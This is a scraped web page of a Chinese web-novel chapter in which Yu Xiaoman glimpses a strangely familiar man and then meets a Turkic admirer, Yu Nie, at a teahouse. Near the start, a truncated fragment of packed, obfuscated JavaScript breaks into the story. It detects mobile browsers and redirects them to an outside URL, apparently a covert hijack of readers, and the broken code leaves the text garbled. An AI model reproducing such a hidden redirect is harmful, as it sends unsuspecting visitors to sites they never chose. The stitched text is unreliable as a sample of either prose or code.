湿漉漉的长街，阴沉的飘着云的天空，死死皱着眉的男人。 还有站在街边茫然的她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811349|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >似是有钟声从很远很远的地方响起，在脑中回荡。 脑子里空空的，却又在朦胧之间升腾起烟雾，蜃楼一般，隐约觉得有东西，却又看不见抓不着。 空气湿漉，街边的青苔沿着脚踝攀附生长。 分明没有任何印象，为何会觉得这个男人有种说不清道不明的熟悉感…… “小满！小满？” 唐瑛一连叫了几声，声音才穿透轻薄的雾，叫余小满回过神来。 “姐……”余小满恍惚地唤了一声，丝毫没有隐瞒的意思，抬手指向马车离去的方向，直截了当道：“我觉得我好像见过那个男人？” “？” 唐瑛顿时警惕起来，可等她抬眼看去，除了一道残留的水痕，什么都看不见。 她试探地发问：“是眼熟的食客？” 余小满摇摇头，她脑子空空，什么都想不起来，这种感觉实在是太虚无缥缈。 更何况，她把从前的事情也忘得差不多了。 下一次要是碰到这个男人，一定第一时间指给唐瑛看！ 余小满向来不为这种住不住的事情烦恼，这件事很快被她抛在脑后，好像什么都没发生过。 像青石板上的水痕一般，只短暂溅起波澜，很快又归于平静。 唐瑛说的那家茶楼并不远，沿着柳枝垂荡的河岸走上一会便到了。 铺子并不大，却颇有雅致，门口的花盆高低错落，竟在极其狭窄的区域硬是堆出了造景。 不同于别家屋檐下悬挂的灯笼，这家茶楼门口摆着两架立式宫灯，光影穿过层叠的枝叶，颇具意境。 余小满正惊叹于这般布局审美，突地被唐瑛猛扯了一下衣袖。 顺着唐瑛目光的方向看去，只见一个眉眼深邃，头发蜷曲的年轻男子正直勾勾盯着她。 俩人就这样对视上了。 这人的眼睛，竟是翡翠一般绿色…… “小满姑娘！” 那男子也完全没有偷看被抓现行的怯色，反而大大方方的走上前来，和余小满打招呼。 “在下于涅，自突厥而来，前几日尝过小满姑娘的辣条，实在是叫人惊叹。” 原来是突厥人！ 这是第一次和胡人打交道，余小满只客气地笑了笑：“多谢于公子捧场。” “没想到能在这里碰到小满姑娘……” “余小满！” 于涅的话说到一半，就被一声恶狠狠的厉呵打断了。 “你都追我追到这里了？！”